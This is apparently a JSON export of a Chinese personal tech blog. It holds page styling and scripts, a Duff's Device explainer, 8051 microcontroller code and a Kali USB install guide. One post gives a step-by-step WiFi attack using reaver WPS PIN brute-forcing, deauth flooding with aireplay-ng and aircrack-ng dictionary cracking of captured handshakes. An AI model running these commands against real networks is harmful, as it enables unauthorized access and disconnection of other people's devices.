@mhg/blog
Version:
1 lines • 1.23 MB
JSON
{"meta":{"title":"MHuiG","subtitle":"宠辱不惊,看庭前花开花落;去留无意,望天上云卷云舒。","description":"MHuiG&#39;s Blog (MHuiG的博客) MHuiG&#39;s Neverland(MHuiG的梦幻岛) —— MHuiG(@MHuiG) 随便写写画画的地方 - 技术博客","author":"MHuiG","url":"https://blog.mhuig.top","root":"/"},"pages":[{"title":"","date":"2025-02-17T22:44:40.574Z","updated":"2025-02-17T22:44:40.574Z","comments":true,"path":"404.html","permalink":"https://blog.mhuig.top/404","excerpt":"","text":"404 .cls-1 { fill: #ffc541; } .cls-2 { fill: #4e4066; } .cls-3 { fill: #6f5b92; } .cls-4 { fill: #f78d5e; } .cls-5 { fill: #fa976c; } .cls-6, .cls-7, .cls-8 { fill: #b65c32; } .cls-10, .cls-6 { opacity: 0.6; } .cls-7 { opacity: 0.4; } .cls-9 { fill: #f4b73b; } .cls-11 { fill: #f9c358; } .cls-12 { fill: #9b462c; } .cls-13 { fill: #aa512e; } .cls-14 { fill: #7d6aa5; } /* animations */ .wheel { animation: wheel-rotate 6s ease infinite; transform-origin: center; transform-box: fill-box; } @keyframes wheel-rotate { 50% { transform: rotate(360deg); animation-timing-function: cubic-bezier(0.55, 0.085, 0.68, 0.53); } 100% { transform: rotate(960deg) } } .clock-hand-1 { animation: clock-rotate 3s linear infinite; transform-origin: bottom; transform-box: fill-box; } .clock-hand-2 { animation: clock-rotate 6s linear infinite; transform-origin: bottom; transform-box: fill-box; } @keyframes clock-rotate { 100% { transform: rotate(360deg) } } #box-top { animation: box-top-anim 2s linear infinite; transform-origin: right top; transform-box: fill-box; } @keyframes box-top-anim { 50% { transform: rotate(-5deg) } } #umbrella { animation: umbrella-anim 6s linear infinite; transform-origin: center; transform-box: fill-box; } @keyframes umbrella-anim { 25% { transform: translateY(10px) rotate(5deg); } 75% { transform: rotate(-5deg); } } #cup { animation: cup-rotate 3s cubic-bezier(0.455, 0.03, 0.515, 0.955) infinite; transform-origin: top left; transform-box: fill-box; } @keyframes cup-rotate { 50% { transform: rotate(-5deg) } } #pillow { animation: pillow-anim 3s linear infinite; transform-origin: center; transform-box: fill-box; } @keyframes pillow-anim { 25% { transform: rotate(10deg) translateY(5px) } 75% { transform: rotate(-10deg) } } #stripe { animation: stripe-anim 3s linear infinite; transform-origin: center; transform-box: fill-box; } @keyframes stripe-anim { 25% { transform: translate(10px, 0) rotate(-10deg) } 75% { transform: translateX(10px) } } #bike { animation: bike-anim 6s ease infinite; } @keyframes bike-anim { 0% { transform: translateX(-1300px) } 50% { transform: translateX(0); animation-timing-function: cubic-bezier(0.47, 0, 0.745, 0.715); } 100% { transform: translateX(1300px) } } #rucksack { animation: ruck-anim 3s linear infinite; transform-origin: top; transform-box: fill-box; } @keyframes ruck-anim { 50% { transform: rotate(5deg) } } .circle { animation: circle-anim ease infinite; transform-origin: center; transform-box: fill-box; perspective: 0px; } .circle.c1 { animation-duration: 2s } .circle.c2 { animation-duration: 3s } .circle.c3 { animation-duration: 1s } .circle.c4 { animation-duration: 1s } .circle.c5 { animation-duration: 2s } .circle.c6 { animation-duration: 3s } @keyframes circle-anim { 50% { transform: scale(.2) rotateX(360deg) rotateY(360deg) } } .four, #ou { animation: four-anim cubic-bezier(0.39, 0.575, 0.565, 1) infinite; } .four.a { transform-origin: bottom left; animation-duration: 3s; transform-box: fill-box; } .four.b { transform-origin: bottom right; animation-duration: 3s; transform-box: fill-box; } #ou { animation-duration: 6s; transform-origin: center; transform-box: fill-box; } @keyframes four-anim { 50% { transform: scale(.98) } }"},{"title":"所有分类","date":"2025-02-17T22:44:40.919Z","updated":"2025-02-17T22:44:40.919Z","comments":true,"path":"categories/index.html","permalink":"https://blog.mhuig.top/categories/","excerpt":"","text":""},{"title":"","date":"2025-02-17T22:44:41.737Z","updated":"2025-02-17T22:44:41.737Z","comments":true,"path":"notes/index.html","permalink":"https://blog.mhuig.top/notes/","excerpt":"","text":".fa-secondary{opacity:.4} Note Book MHuiG の笔记本 速查表 LaTeX Fontawesome Twemoji 大数据 Flink Spark Hadoop Zookeeper Hive Flume Kafka Sqoop Azkaban NoSQL Echarts 操作系统 CentOS Ubuntu Windows OS 资料库 数据通信网络 Cryptography Django 51 PDF package manager proxy settings package mirror code"},{"title":"所有标签","date":"2025-02-17T22:44:41.797Z","updated":"2025-02-17T22:44:41.797Z","comments":true,"path":"tags/index.html","permalink":"https://blog.mhuig.top/tags/","excerpt":"","text":""},{"title":"Duff's Device","date":"2022-09-02T07:09:00.000Z","updated":"2022-09-02T07:09:00.000Z","comments":true,"path":"c/c/duff-device.html","permalink":"https://blog.mhuig.top/c/c/duff-device","excerpt":"","text":"一个循环复制的函数实现: void NormalCopy(char *to,char* from,int count){ do { *to = *from++; } while (--count>0);} 用 Duff’s device 方法改写后的代码: void DuffDev(char *to, char *from, int count){ int n = (count + 7) / 8; switch (count % 8) { case 0: do{ *to++ = *from++; case 7: *to++ = *from++; case 6: *to++ = *from++; case 5: *to++ = *from++; case 4: *to++ = *from++; case 3: *to++ = *from++; case 2: *to++ = *from++; case 1: *to++ = *from++; } while (--n > 0); }} 时间要回到 1983 年,那是一个雨过天晴的夏天,在卢卡斯影业上班的程序员 Tom Duff,他是想为了加速一个实时动画程序,实现从一个数组复制数据到一个寄存器这样一个功能 但是达夫洞察到,若在这一过程中将一条 switch 和一个循环相结合,则可展开循环,应用的是 C 语言里面 case 标签的 Fall through 特性,实际就是没有 break 继续执行。 #include <iostream>using namespace std;int main() { int n = 3; switch (n) { case 0: do { cout << \" 0 \" << endl; case 1: cout << \" 1 \" << endl; case 2: cout << \" 2 \" << endl; case 3: cout << \" 3 \" << endl; } while (--n > 0); }} 这段代码的主体还是 do-while 循环,但这个循环的入口点并不一定是在 do 那里,而是 switch(n),把循环的入口定在了几个 case 标号那里。"},{"title":"拿取路由器 Pin 码","date":"2022-09-09T08:59:00.000Z","updated":"2022-09-10T04:02:00.000Z","comments":true,"path":"c/k/pin.html","permalink":"https://blog.mhuig.top/c/k/pin","excerpt":"","text":"拿 pin 码就可以直接跑出 WPA PSK 网卡监控模式airmon-ng start wlan0 扫描wash -i wlan0mon 破 pin 网卡 物理地址 信道reaver -i wlan0mon -b 00:5A:13:40:AA:F8 -c 11 -vv -K 0 直接拿到 pin 了 通过 pin 获得 wifi 密码 网卡 物理地址 pin码reaver -i wlan0mon -b 78:A1:06:B6:2A:42 -p 92975934 附录aircrack-ng - 命令清单 airmon-ng start [网卡] # 开启monitor模式airodump-ng [网卡] # 捕获附件的wifi信息airodump-ng -c [信道] --bssid [路由器MAC] -w [handshake-path] [网卡]aireplay-ng -0 [攻击次数值] -c [某连接设备MAC] -a [路由器MAC] [网卡]aircrack-ng -w [字典-path] [破解的目标握手包-path]airmon-ng stop [网卡] # 退出monitor模式 ifconfig -a 查看网卡airmon-ng start wlan0airodump-ng wlan0mon 监听网络,完了 Ctrl+C 退出 主要参数说明: # BSSID :路由器、AP的MAC地址# PWR :信号强度,一看就是越小越强了# Data :传输的数据大小,大的可能在下载或看视频什么的# CH :无线信道,要看准# ENC :加密协议,自WPA2协议爆出重大安全漏洞,现已经出WPA3,坐等更新# ESSID :这个就不用多说了,wifi名称,有中文可能会出现乱码哈 目标有了,开始对其进行 cap 包的监听和获取,这里要让其中连接的设备重连才能抓包其握手包,可以慢慢等待,也可以使用 deauth 洪水攻击。 airodump-ng -c 9 --bssid 78:11:DC:10:4F:66 -w /root/handshake/ wlan0mon# -w 后面的路径是存放握手包的 另起窗口,我们用 deauth 洪水攻击,让其中的一台设备掉线,它掉线后会自动连接(除非别人在 wifi 设置中勾选掉了自动连接) aireplay-ng -0 20 -a 78:11:DC:10:4F:66 -c 6C:88:14:F2:47:8C wlan0mon# -0 death模式,20为攻击次数,也可以设为0,就是一直攻击# -c 这里就是连接上的设备的MAC地址了,指定它,我们让它稳稳地掉线。 上字典(关键东西),让它慢慢破去吧 root@huan:~#aircrack-ng -w /root/wordlist.txt /root/handshake/-02.cap"},{"title":"制作 Kali 的 U 盘启动盘","date":"2022-09-09T06:09:00.000Z","updated":"2022-09-10T04:00:00.000Z","comments":true,"path":"c/k/ukali.html","permalink":"https://blog.mhuig.top/c/k/ukali","excerpt":"","text":"前期准备 一个 U 盘 官方 kali 裸机镜像 https://www.kali.org/get-kali/#kali-bare-metal 笔者这里下载的是 kali-linux-2022.3-installer-amd64.iso 虚拟机配置打开虚拟机。 选择安装镜像文件。 选择客户机操作系统 选择 debian10.x 64 位。 命名虚拟机,名称自定义;位置默认即可。 指定磁盘容量 默认,后面会删除虚拟机磁盘。 准备好虚拟机 编辑虚拟机设置 网络连接选择桥接模式 USB 选最大 3.0 以上 移除硬盘 添加硬盘 》SCSI 》使用物理磁盘 》选择设备(PD1) 》使用单个分区 》选择分区。 开启虚拟机,F2 进入 BIOS,从 CD/DVD 启动,此时将会打开 iso 镜像开始运行。 运行安装选择图形化安装 (Graphical install). 选择语言,我这里选中文简体 选择位置 中国 配置键盘 汉语 探测并挂载安装介质 配置网络 默认 域名空就行继续 设置用户名和密码 对磁盘进行分区 使用整个磁盘并配置加密的 LVM 选择要分区的磁盘继续 将修改写入磁盘并写入 LVM 吗? 选择是。 擦除数据 设置加密密码句 结束分区设定并将修改写入磁盘 安装基本系统 图形桌面选择 Xface 选择并安装软件。。。。 安装 GREB 启动引擎 选择是 /dev/sda 结束安装进程 物理机运行进 BIOS 安全选项里面关闭 secure boot"},{"title":"","date":"2025-02-17T22:44:40.931Z","updated":"2025-02-17T22:44:40.931Z","comments":false,"path":"havefun/Coco/index.html","permalink":"https://blog.mhuig.top/havefun/Coco/","excerpt":"","text":"Coco | The Cat of MHuiG Cocoalpha The Cat of MHuiG & A Computational Knowledge Engine /*************** cat-box ******************************/ #cat-box-1 { text-align:center; margin-top: 1.5rem; } #cat-box-2 { text-align:center; margin-top: 1.5rem; display: none; } #bongo-cat { width: 50%; margin: 0 0; } .typing-animation { -webkit-animation-timing-function:linear; animation-timing-function:linear; -webkit-animation-iteration-count:infinite; animation-iteration-count:infinite; -webkit-animation-duration:1200ms; animation-duration:1200ms; } path#f1-l1 { -webkit-animation-name:typing-f1-l1; animation-name:typing-f1-l1; } path#f1-l2 { -webkit-animation-name:typing-f1-l2; animation-name:typing-f1-l2; } path#f1-l3 { -webkit-animation-name:typing-f1-l3; animation-name:typing-f1-l3; } path#f2-l4 { -webkit-animation-name:typing-f2-l4; animation-name:typing-f2-l4; } path#f2-l5 { -webkit-animation-name:typing-f2-l5; animation-name:typing-f2-l5; } path#f2-l6 { -webkit-animation-name:typing-f2-l6; animation-name:typing-f2-l6; } path#f3-l7 { -webkit-animation-name:typing-f3-l7; animation-name:typing-f3-l7; } path#f3-l8 { -webkit-animation-name:typing-f3-l8; animation-name:typing-f3-l8; } path#f3-l9 { -webkit-animation-name:typing-f3-l9; animation-name:typing-f3-l9; } @-webkit-keyframes typing-f3-l9 { 0% { d:path(\"M8,25L8,25\"); } 82% { d:path(\"M8,25L8,25\"); } 92% { d:path(\"M8,25L96,25\"); } 100% { d:path(\"M8,25L96,25\"); } }@keyframes typing-f3-l9 { 0% { d:path(\"M8,25L8,25\"); } 82% { d:path(\"M8,25L8,25\"); } 92% { d:path(\"M8,25L96,25\"); } 100% { d:path(\"M8,25L96,25\"); } }@-webkit-keyframes typing-f3-l8 { 0% { d:path(\"M8,13L8,13\"); } 68% { d:path(\"M8,13L8,13\"); } 82% { d:path(\"M8,13L146,13\"); } 100% { d:path(\"M8,13L146,13\"); } }@keyframes typing-f3-l8 { 0% { d:path(\"M8,13L8,13\"); } 68% { d:path(\"M8,13L8,13\"); } 82% { d:path(\"M8,13L146,13\"); } 100% { d:path(\"M8,13L146,13\"); } } @-webkit-keyframes typing-f3-l7 { 0% { d:path(\"M0,1L0,1\"); } 60% { d:path(\"M0,1L0,1\"); } 68% { d:path(\"M0,1L96,1\"); } 100% { d:path(\"M0,1L96,1\"); } }@keyframes typing-f3-l7 { 0% { d:path(\"M0,1L0,1\"); } 60% { d:path(\"M0,1L0,1\"); } 68% { d:path(\"M0,1L96,1\"); } 100% { d:path(\"M0,1L96,1\"); } }@-webkit-keyframes typing-f2-l6 { 0% { d:path(\"M8,25L8,25\"); } 54% { d:path(\"M8,25L8,25\"); } 60% { d:path(\"M8,25L69,25\"); } 100% { d:path(\"M8,25L69,25\"); } }@keyframes typing-f2-l6 { 0% { d:path(\"M8,25L8,25\"); } 54% { d:path(\"M8,25L8,25\"); } 60% { d:path(\"M8,25L69,25\"); } 100% { d:path(\"M8,25L69,25\"); } }@-webkit-keyframes typing-f2-l5 { 0% { d:path(\"M8,13L8,13\"); } 44% { d:path(\"M8,13L8,13\"); } 54% { d:path(\"M8,13L114,13\"); } 100% { d:path(\"M8,13L114,13\"); } }@keyframes typing-f2-l5 { 0% { d:path(\"M8,13L8,13\"); } 44% { d:path(\"M8,13L8,13\"); } 54% { d:path(\"M8,13L114,13\"); } 100% { d:path(\"M8,13L114,13\"); } }@-webkit-keyframes typing-f2-l4 { 0% { d:path(\"M0,1L0,1\"); } 30% { d:path(\"M0,1L0,1\"); } 44% { d:path(\"M0,1L136,1\"); } 100% { d:path(\"M0,1L136,1\"); } }@keyframes typing-f2-l4 { 0% { d:path(\"M0,1L0,1\"); } 30% { d:path(\"M0,1L0,1\"); } 44% { d:path(\"M0,1L136,1\"); } 100% { d:path(\"M0,1L136,1\"); } }@-webkit-keyframes typing-f1-l3 { 0% { d:path(\"M8,25L8,25\"); } 24% { d:path(\"M8,25L8,25\"); } 30% { d:path(\"M8,25L61,25\"); } 100% { d:path(\"M8,25L61,25\"); } }@keyframes typing-f1-l3 { 0% { d:path(\"M8,25L8,25\"); } 24% { d:path(\"M8,25L8,25\"); } 30% { d:path(\"M8,25L61,25\"); } 100% { d:path(\"M8,25L61,25\"); } }@-webkit-keyframes typing-f1-l2 { 0% { d:path(\"M8,13L8,13\"); } 14% { d:path(\"M8,13L8,13\"); } 24% { d:path(\"M8,13L124,13\"); } 100% { d:path(\"M8,13L124,13\"); } }@keyframes typing-f1-l2 { 0% { d:path(\"M8,13L8,13\"); } 14% { d:path(\"M8,13L8,13\"); } 24% { d:path(\"M8,13L124,13\"); } 100% { d:path(\"M8,13L124,13\"); } }@-webkit-keyframes typing-f1-l1 { 0% { d:path(\"M0,1L0,1\"); } 14% { d:path(\"M0,1L160,1\"); } 100% { d:path(\"M0,1L160,1\"); } }@keyframes typing-f1-l1 { 0% { d:path(\"M0,1L0,1\"); } 14% { d:path(\"M0,1L160,1\"); } 100% { d:path(\"M0,1L160,1\"); } }#paw-right--up,#paw-right--down,#paw-left--up,#paw-left--down { -webkit-animation:blink 300ms infinite; animation:blink 300ms infinite; } #paw-right--up,#paw-left--down { -webkit-animation-delay:150ms; animation-delay:150ms; } @-webkit-keyframes blink { 0% { opacity:0; } 49% { opacity:0; } 50% { opacity:1; } }@keyframes blink { 0% { opacity:0; } 49% { opacity:0; } 50% { opacity:1; } }#laptop__code { -webkit-transform:rotateX(-37deg) rotateY(-46deg) rotateZ(-23deg) translateX(8px) translateY(20px) translateZ(-50px); transform:rotateX(-37deg) rotateY(-46deg) rotateZ(-23deg) translateX(8px) translateY(20px) translateZ(-50px); } /*************** search-form ******************************/ .search-form { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: start; -webkit-justify-content: flex-start; -ms-flex-pack: start; justify-content: flex-start; margin-top: 1.5rem; } .search-form .search-input { -webkit-box-flex: 1; -webkit-flex: 1 1 auto; -ms-flex: 1 1 auto; flex: 1 1 auto; padding: .15rem .35rem .15rem .35rem; border: 1px solid #dbdbdb; border-right: 0; border-radius: 4px 0 0 4px; background-color: transparent; } .search-form #search-input { width: 100%; height: 100%; outline: 0; border: 0; background-color: transparent; } .search-form .search-button { padding: 0; border: 1px solid #dbdbdb; border-left: 0; border-radius: 0 4px 4px 0; } .search-form #search-button { padding: 5px 5px 0 5px; outline: 0; border: 0; background-color: transparent; color: var(--ic); } /*************** search-result ******************************/ #search-result-box hr { box-sizing: initial; height: 0; overflow: visible; margin: 15px 0; overflow: hidden; background: 0 0; border: 0; border-bottom: 1px solid #dfe2e5; border-bottom-color: #eee; height: .1em; padding: 0; margin: 24px 0; background-color: #e1e4e8; } .search-result__link { color: inherit; } var ajax = (options) => { options = options || {}; options.type = (options.type || \"GET\").toUpperCase(); options.dataType = options.dataType || \"json\"; const params = formatParams(options.data); let xhr = null; if (window.XMLHttpRequest) { xhr = new XMLHttpRequest(); } else { xhr = new ActiveXObject(\"Microsoft.XMLHTTP\"); } xhr.onreadystatechange = function () { if (xhr.readyState === 4) { const status = xhr.status; let responseText = xhr.responseText; let responseXML = xhr.responseXML; try { responseText = JSON.parse(responseText); responseXML = JSON.parse(responseXML); } catch (e) { if (responseText) { // console.error(responseText) // console.error(e) } } if (status >= 200 && status < 300) { if (options.success) { try { options.success(responseText, responseXML); } catch (e) { if (responseText) { console.error(responseText); console.error(e); } } } } else { options.error && options.error(status, responseText); } } }; if (options.type == \"GET\") { xhr.open(\"GET\", options.url + \"?\" + params, true); xhr.send(null); } else if (options.type == \"POST\") { xhr.open(\"POST\", options.url, true); xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\"); xhr.send(params); } }; var formatParams = (data) => { const arr = []; for (const name in data) { arr.push(encodeURIComponent(name) + \"=\" + encodeURIComponent(data[name])); } arr.push((\"v=\" + Math.random()).replace(\".\", \"\")); return arr.join(\"&\"); }; function GetCocoAns(qustion){ ajax({ url: \"https://api.mhuig.top/CocoAPI\", type: \"GET\", data: { s: qustion, // accesstoken:window.AT.accesstoken, }, success: function (data) { if (data) { console.log(data) PutCocoAns(data) } }, error: function (status, data) { console.log(status, data) }, }); } function PutCocoAnsListItem(Item){ if(!Item) return \"\" return ` `+Item.htmlTitle+` `+Item.htmlSnippet+` `; } function PutCocoAns(data){ document.querySelector(\"#search-result\").innerHTML=` English answers provided by Coco: `+data.en+` Chinese answers provided by Coco: `+data.cn+` `; document.querySelector(\"#search-more-info\").innerHTML=` More info search On this Site ` document.querySelector(\"#search-info-site\").innerHTML=`Reference Links provided by Coco:` if(data.site){ let data_site=\"\" for (let i=0;i{ // CocoSearch() // } // loadJS(\"https://api.mhuig.top/ReCaptcha/getscript\") } document.querySelector(\"#search-input\").onkeydown = function() { if (13 == window.event.keyCode){ console.log(\"Enter\"); StartCocoOpenSearch(); } }; // test // let data={ // cn: \"Coco 是 MHuiG 的猫,Coco 也是一个计算知识引擎或答案引擎。\", // en: \"Coco is The Cat of MHuiG, Coco is also a computational knowledge engine or answer engine.\" // } // PutCocoAns(data) if(document.documentElement.clientWidth > 500){ document.querySelector(\"#fourier-cat-box\").innerHTML=`` document.querySelector(\"#fourier-cat\").contentWindow.addEventListener(\"click\",()=>{ document.querySelector(\"#fourier-cat-info\").innerHTML=` More info of this Fourier Transform Cat An Interactive Introduction to Fourier Transforms - Jez Swanson 「离散傅里叶变换」和「离散傅里叶反变换」 - Xecades ` },false) }"},{"title":"","date":"2025-02-17T22:44:40.938Z","updated":"2025-02-17T22:44:40.938Z","comments":false,"path":"havefun/access-analysis/index.html","permalink":"https://blog.mhuig.top/havefun/access-analysis/","excerpt":"","text":"Access analysis Access analysisalpha the access data analysis engine 数据自 2021-07-11 起开始统计 TLS Version Country Language Screen Size Display Size 访客时间分布 var ajax = (options) => { options = options || {}; options.type = (options.type || \"GET\").toUpperCase(); options.dataType = options.dataType || \"json\"; const params = formatParams(options.data); let xhr = null; if (window.XMLHttpRequest) { xhr = new XMLHttpRequest(); } else { xhr = new ActiveXObject(\"Microsoft.XMLHTTP\"); } xhr.onreadystatechange = function () { if (xhr.readyState === 4) { const status = xhr.status; let responseText = xhr.responseText; let responseXML = xhr.responseXML; try { responseText = JSON.parse(responseText); responseXML = JSON.parse(responseXML); } catch (e) { if (responseText) { // console.error(responseText) // console.error(e) } } if (status >= 200 && status < 300) { if (options.success) { try { options.success(responseText, responseXML); } catch (e) { if (responseText) { console.error(responseText); console.error(e); } } } } else { options.error && options.error(status, responseText); } } }; if (options.type == \"GET\") { xhr.open(\"GET\", options.url + \"?\" + params, true); xhr.send(null); } else if (options.type == \"POST\") { xhr.open(\"POST\", options.url, true); xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\"); xhr.send(params); } }; var formatParams = (data) => { const arr = []; for (const name in data) { arr.push(encodeURIComponent(name) + \"=\" + encodeURIComponent(data[name])); } arr.push((\"v=\" + Math.random()).replace(\".\", \"\")); return arr.join(\"&\"); }; function getPieChart(id, a, b) { var myChart = echarts.init(document.getElementById(id), \"shine\"); var option = { tooltip: { trigger: \"item\", formatter: \"{a} {b} : {c} ({d}%)\" }, series: [ { name: \"类别\", type: \"pie\", radius: \"55%\", center: [\"50%\", \"60%\"], data: b, emphasis: { itemStyle: { shadowBlur: 10, shadowOffsetX: 0, shadowColor: \"rgba(0, 0, 0, 0.5)\", }, }, }, ], }; if(a){ option.legend={ orient: \"vertical\", left: \"left\", data: a } } myChart.setOption(option); } function getTimePieChart(id, h) { var myChart = echarts.init(document.getElementById(id), \"shine\"); function getdata(a) { for (var i = 0; i < h.length; i++) { if (\"\" + a == h[i].name) { return h[i].value; } } } function data() { var d = []; for (var i = 0; i < 24; i++) { d.push({ name: i + \"~\" + (i + 1), value: getdata(i) }); } return d; } var option = { tooltip: { trigger: \"item\", position: [\"48.5%\", \"49.2%\"], backgroundColor: \"rgba(50,50,50,0)\", textStyle: { color: \"yellow\", fontWeight: \"bold\" }, formatter: \"{d}%\", }, series: [ { type: \"pie\", radius: [\"5%\", \"70%\"], roseType: \"area\", color: [\"#3fa7dc\"], data: data(), labelLine: { normal: { show: false } }, label: { normal: { show: false } }, itemStyle: { normal: { shadowBlur: 10, shadowOffsetX: 0, shadowColor: \"rgba(0, 0, 0, 0.5)\", }, emphasis: { shadowBlur: 10, shadowOffsetX: 0, shadowColor: \"rgba(0, 0, 0, 0.5)\", }, }, }, { name: \"\", type: \"gauge\", min: 0, max: 24, startAngle: 90, endAngle: 449.9, radius: \"82%\", splitNumber: 24, clockwise: false, animation: false, detail: { formatter: \"{value}\", textStyle: { color: \"#63869e\" } }, detail: { show: false }, axisTick: { show: false }, axisLine: { lineStyle: { color: [ [0.25, \"#63869e\"], [0.75, \"#ffffff\"], [1, \"#63869e\"], ], width: \"40%\", shadowColor: \"#0d4b81\", shadowBlur: 40, opacity: 1, }, }, splitLine: { length: 5, lineStyle: { color: \"#ffffff\", width: 2 }, }, axisLabel: { formatter: function (v) { return v ? v : \"\"; }, textStyle: { color: \"red\", fontWeight: 700 }, }, itemStyle: { normal: { color: \"green\", width: 2 } }, }, { name: \"\", type: \"gauge\", min: 0, max: 24, startAngle: 90, endAngle: 449.9, radius: \"72%\", splitNumber: 24, clockwise: false, animation: false, detail: { formatter: \"{value}\", textStyle: { color: \"#63869e\" } }, detail: { show: false }, axisTick: { show: false }, axisLine: { lineStyle: { color: [[1, \"#E8E8E8\"]], width: \"10%\", opacity: 0.8, }, }, splitLine: { show: true, length: \"92%\", lineStyle: { color: \"grey\", width: \"1\" }, }, axisLabel: { show: false, formatter: function (v) { return v ? v : \"\"; }, textStyle: { color: \"#fb5310\", fontWeight: 700 }, }, itemStyle: { normal: { color: \"green\", width: 2, borderWidth: 3 }, }, }, ], }; myChart.setOption(option); } var loadscript = (src) => { return new Promise(resolve => { setTimeout(function () { var HEAD = document.getElementsByTagName(\"head\")[0] || document.documentElement; var script = document.createElement(\"script\"); script.setAttribute(\"type\", \"text/javascript\"); script.setAttribute(\"src\", src); script.onload = resolve HEAD.appendChild(script); }); }); } randomStr = function (num) { return Math.random().toString(36).slice(-num); }, randomNum = function (num) { return Math.ceil(Math.random() * (num - 1)) + 1; }; function GetAnalyticsResults() { loadscript(\"https://cdn.jsdelivr.net/npm/echarts@4.8.0/dist/echarts.min.js\").then(()=>{ loadscript(\"https://cdn.jsdelivr.net/npm/mhg@0.0.0/js/echarts.shine.js\").then(()=>{ ajax({ url: \"https://cdn.jsdelivr.net/gh/MHG-LAB/Web-Log-Analytics-Results@main/results.json?nocache=1&t=\"+new Date().getTime()+\"&\"+randomStr(randomNum(4)) + '=' + randomStr(randomNum(6)), type: \"GET\", success: function (data) { // console.log(data) window.WebLogAnalyticsResults=data AnalyticsResults() }, error: function (status, data) { console.log(status, data) }, }); }) }) } function AnalyticsResults() { getPieChart(\"tlsversion\", window.WebLogAnalyticsResults.TlsVersion.legend, window.WebLogAnalyticsResults.TlsVersion.series); getPieChart(\"country\", window.WebLogAnalyticsResults.CfIpCountry.legend, window.WebLogAnalyticsResults.CfIpCountry.series); getPieChart(\"language\", window.WebLogAnalyticsResults.Language.legend, window.WebLogAnalyticsResults.Language.series); getPieChart(\"screensize\", 0, window.WebLogAnalyticsResults.ScreenSize.series); getPieChart(\"displaysize\", 0, window.WebLogAnalyticsResults.DisplaySize.series); getTimePieChart(\"visitstime\", window.WebLogAnalyticsResults.Hours.series); } GetAnalyticsResults()"},{"title":"","date":"2022-05-10T01:41:00.000Z","updated":"2022-05-10T01:41:00.000Z","comments":true,"path":"notes/51/index.html","permalink":"https://blog.mhuig.top/notes/51/","excerpt":"","text":".fa-secondary{opacity:.4} 51 51 .prev-next{ display: none !important; }"},{"title":"","date":"2018-12-02T09:51:00.000Z","updated":"2022-05-10T01:32:00.000Z","comments":true,"path":"notes/51/key-clock.html","permalink":"https://blog.mhuig.top/notes/51/key-clock","excerpt":"","text":"按键时钟 51 按键时钟 /* * 按键时钟 秒表,可以通过按键开始或是停止 */#include<reg52.h>#define uchar unsigned charsbit key =P3 ^ 3; //按键uchar counter=0,tmp,second=0,minute=0, change = 1;int led[]= {0xc0, 0xf9, 0xa4, 0xb0, 0x99, 0x92, 0x82, 0xf8, 0x80, 0x90}; //数字0-9int _led[]= {0x40, 0x79, 0x24, 0x30, 0x19, 0x12, 0x02, 0x78, 0x00, 0x10};void clockrun();void main() { //设置TMOD寄存器 TMOD=0X01; //设置TMOD寄存器 TH0=(65536-5000)/256; //装初值 TL0=(65536-5000)%256; EA=1; //开 中断 ET0=1; TR0=1; if(key==0) {//按键按下 while(1) { clockrun(); } }}void zhongduan()interrupt 1 { TH0=(65536-5000)/256; //装初值 TL0=(65536-5000)%256; TF0=0; TR0=1; counter++; if(counter==200) { counter=0; second++; if(second==60) { second=0; minute++; } } change = 1;}void clockrun() { tmp=counter%4; switch(tmp) { case 0: P2 = 0x7f; P0 = led[second%10]; break; case 1: P2 = 0xbf; P0 = led[second/10]; break; case 2: P2 = 0xdf; P0 = _led[minute%10]; break; case 3: P2 = 0xef; P0 = led[minute/10]; break; }}"},{"title":"","date":"2018-12-02T09:50:00.000Z","updated":"2022-05-10T01:37:00.000Z","comments":true,"path":"notes/51/stop-watch.html","permalink":"https://blog.mhuig.top/notes/51/stop-watch","excerpt":"","text":"秒表 51 秒表 /** 秒表*/#include<reg52.h>#define uchar unsigned charuchar counter=0,tmp,second=0,minute=0, change = 1;int led[]= {0xc0, 0xf9, 0xa4, 0xb0, 0x99, 0x92, 0x82, 0xf8, 0x80, 0x90}; //数字0-9int _led[]= {0x40, 0x79, 0x24, 0x30, 0x19, 0x12, 0x02, 0x78, 0x00, 0x10};void main() { //设置TMOD寄存器 TMOD=0X01; //设置TMOD寄存器 TH0=(65536-5000)/256; //装初值 TL0=(65536-5000)%256; EA=1; //开 中断 ET0=1; TR0=1; while(1) { tmp=counter%4; switch(tmp) { case 0: P2 = 0x7f; P0 = led[second%10]; break; case 1: P2 = 0xbf; P0 = led[second/10]; break; case 2: P2 = 0xdf; P0 = _led[minute%10]; break; case 3: P2 = 0xef; P0 = led[minute/10]; break; } }}void zhongduan()interrupt 1 { TH0=(65536-5000)/256; //装初值 TL0=(65536-5000)%256; TF0=0; TR0=1; counter++; if(counter==200) { counter=0; second++; if(second==60) { second=0; minute++; } } change = 1;}"},{"title":"","date":"2018-12-02T09:54:00.000Z","updated":"2022-05-10T01:38:00.000Z","comments":true,"path":"notes/51/temperature-humidity.html","permalink":"https://blog.mhuig.top/notes/51/temperature-humidity","excerpt":"","text":"温湿度 AT89S52 或 STC89C52RC 串口发送温湿度数据 //****************************************************************////单片机 AT89S52 或 STC89C52RC//功能 串口发送温湿度数据 晶振 11.0592M 波特率 9600//硬件 sbit TXP口为通讯口连接DHT11,DHT11的电源和地连接单片机的电源和地,单片机串口加MAX232连接电脑//****************************************************************//#include <STDIO.H>#include <reg51.h>#include <intrins.h>//typedef unsigned char U8; /* defined for unsigned 8-bits integer variable 无符号8位整型变量 */typedef signed char S8; /* defined for signed 8-bits integer variable 有符号8位整型变量 */typedef unsigned int U16; /* defined for unsigned 16-bits integer variable 无符号16位整型变量 */typedef signed int S16; /* defined for signed 16-bits integer variable 有符号16位整型变量 */typedef unsigned long U32; /* defined for unsigned 32-bits integer variable 无符号32位整型变量 */typedef signed long S32; /* defined for signed 32-bits integer variable 有符号32位整型变量 */typedef float F32; /* single precision floating point variable (32bits) 单精度浮点数(32位长度) */typedef double F64; /* double precision floating point variable (64bits) 双精度浮点数(64位长度) *///#define uchar unsigned char#define uint unsigned int#define Data_0_time 4//----------------------------------------------////----------------IO口定义区--------------------////----------------------------------------------//sbit TXP = P2^0 ;//----------------------------------------------////----------------定义区--------------------////----------------------------------------------//U8 U8FLAG,k;U8 U8count,U8temp;U8 U8T_data_H,U8T_data_L,U8RH_data_H,U8RH_data_L,U8checkdata;U8 U8T_data_H_temp,U8T_data_L_temp,U8RH_data_H_temp,U8RH_data_L_temp,U8checkdata_temp;U8 U8comdata;U8 outdata[5]; //定义发送的字节数U8 indata[5];U8 count, 